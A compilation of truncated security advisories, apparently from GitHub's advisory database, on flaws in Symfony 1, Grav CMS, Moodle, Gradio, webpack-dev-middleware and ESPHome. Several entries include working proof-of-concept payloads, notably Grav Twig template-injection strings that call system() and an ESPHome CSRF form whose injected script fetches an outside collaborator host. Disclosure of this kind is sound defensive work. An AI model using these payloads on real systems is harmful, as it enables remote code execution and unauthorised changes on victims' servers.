ghsa

### Summary Symfony 1 has a gadget chain due to dangerous unserialize in `sfNamespacedParameterHolder` class that would enable an attacker to get remote code execution if a developer unserialize user input in his project. ### Details This vulnerability present no direct threat but is a vector that will enable remote code execution if a developper deserialize user untrusted data. For example: ```php public function executeIndex(sfWebRequest $request) { $a = unserialize($request->getParameter('user')); } ``` We will make the assumption this is the case in the rest of this explanation. Symfony 1 provides the class `sfNamespacedParameterHolder` which implements `Serializable` interface. In particular, when an instance of this class is deserialized, the normal php behavior is hooked by implementing `unserialize()` method: ```php public function unserialize($serialized) { $this->__unserialize(unserialize($serialized)); } ``` Which make an array access on the ...

### Summary Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands. ### Details https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99 ```php /** * Defines a new escaper to be used via the escape filter. * * @param string $strategy The strategy name that should be used as a strategy in the escape call * @param callable $callable A valid PHP callable */ public function setEscaper($strategy, callable $callable) { $this->escapers[$strategy] = $callable; } ``` Twig supports the functionality to redefine the escape function through the setEscaper method. However, that method is not originally exposed to the twig environment, but it is accessible through the payload below. ```plaintext {{ grav.twig.twig.extensions.core.setEscaper('a','a') }} ``` At this point, it accepts callable type as an argument, but as there is no val...

### Summary Due to the unrestricted access to twig extension class from grav context, an attacker can redefine config variable. As a result, attacker can bypass previous patch. ### Details The twig context has a function declared called getFunction. ```php public function getFunction($name) { if (!$this->extensionInitialized) { $this->initExtensions(); } if (isset($this->functions[$name])) { return $this->functions[$name]; } foreach ($this->functions as $pattern => $function) { $pattern = str_replace('\\*', '(.*?)', preg_quote($pattern, '#'), $count); if ($count) { if (preg_match('#^'.$pattern.'$#', $name, $matches)) { array_shift($matches); $function->setArguments($matches); return $function; } } } foreach ($this->functionCallbacks as $callback) { if (false !...

### Summary Grav validates accessible functions through the Utils::isDangerousFunction function, but does not impose restrictions on twig functions like twig_array_map, allowing attackers to bypass the validation and execute arbitrary commands. ### Details ``` {{ grav.twig.twig.getFunction('twig_array_map')|var_dump }} ```  When we accessed twig_array_map like this, we confirmed that the twigFunction object is properly returned. Since the callable property is correctly included, we can access twig_array_map without any restrictions. ``` {% set cmd = {'id':'system'} %} {{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }} ``` Since there is no validation on twig_array_map itself, it is possible to call arbitrary function using call_user_func. ### PoC ``` {% set cmd = {'id':'system'} %} {{ twig_array_map(grav.twig.twig,cmd,'call_user_func')|join }} ``` ### Impact T...

### Summary Grav CMS is vulnerable to a Server-Side Template Injection (SSTI), which allows any authenticated user (editor permissions are sufficient) to execute arbitrary code on the remote server bypassing the existing security sandbox. ### Details The Grav CMS implements a custom sandbox to protect the powerful Twig methods "registerUndefinedFunctionCallback()" and "registerUndefinedFilterCallback()", in order to avoid SSTI attacks by denying the calling of dangerous PHP functions into the Twig template directives (such as: "exec()", "passthru()", "system()", etc.). The current defenses are based on a blacklist of prohibited functions (PHP, Twig), checked through the "isDangerousFunction()" method called in the file "system/src/Grav/Common/Twig.php": ```php ... $this->twig = new TwigEnvironment($loader_chain, $params); $this->twig->registerUndefinedFunctionCallback(function (string $name) use ($config) { $allowed = $config->get('system.twig.safe_functions'); if (is_array...

### Summary _A file upload path traversal vulnerability has been identified in the application, enabling attackers to replace or create files with extensions like .json, .zip, .css, .gif, etc. This security flaw poses severe risks, that can allow attackers to inject arbitrary code on the server, undermine integrity of backup files by overwriting existing files or creating new ones, and exfiltrate sensitive data using CSS exfiltration techniques._ ### Installation Configuration - Grav CMS 1.10.44 - Apache web server - php-8.2 ### Details _**Vulnerable code location:**_ grav/system/src/Grav/Common/Media/Traits/MediaUploadTrait.php/checkFileMetadata() method_ public function checkFileMetadata(array $metadata, string $filename = null, array $settings = null): string { // Add the defaults to the settings. $settings = $this->getUploadSettings($settings); // Destination is always needed (but it can be set in defaults). $self = $settings['self'] ?? f...

The Chat activity in Moodle 4.3.3 allows students to insert a potentially unwanted HTML A element or IMG element, or HTML content that leads to a performance degradation. NOTE: the vendor's Using_Chat page says "If you know some HTML code, you can use it in your text to do things like insert images, play sounds or create different coloured and sized text." This page also says "Chat is due to be removed from standard Moodle."

A Cross-Site Request Forgery gives attackers the ability to upload many large files to a victim, if they are running Gradio locally. To resolve this a PR tightening the CORS rules around Gradio applications has been submitted. In particular, it checks to see if the host header is localhost (or one of its aliases) and if so, it requires the origin header (if present) to be localhost (or one of its aliases) as well.

### Summary _The **webpack-dev-middleware** middleware does not validate the supplied URL address sufficiently before returning the local file. It is possible to access any file on the developer's machine._ ### Details The middleware can either work with the physical filesystem when reading the files or it can use a virtualized in-memory _memfs_ filesystem. If _writeToDisk_ configuration option is set to **true**, the physical filesystem is used: [https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21](https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad1562343f9f517f0f0ad2a70377/src/utils/setupOutputFileSystem.js#L21) The _**getFilenameFromUrl**_ method is used to parse URL and build the local file path. The public path prefix is stripped from the URL, and the **unsecaped** path suffix is appended to the _outputPath_: [https://github.com/webpack/webpack-dev-middleware/blob/7ed24e0b9f53ad...

### Summary API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete). ### Details It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform. ### PoC An example of malicious web page that abuses this vulnerability: <html> <body> <form action="http://localhost:6052/edit?configuration=poc.yaml" id="#main" method="POST" enctype="text/plain" onsubmit="setTimeout(function () { window.location.reload(); }, 10)"> <input type="hidden" name="&lt;script&gt;&#13;&#10;fetch&#40;&apos;https&#58;&#47;&#47;907zv9yp9u3rjerkiakydpvcr3xulk99&#46;oastify&#46;com&#63;x" value="y&apos;&#44;&#32;&#123;&#13;&#10;method&...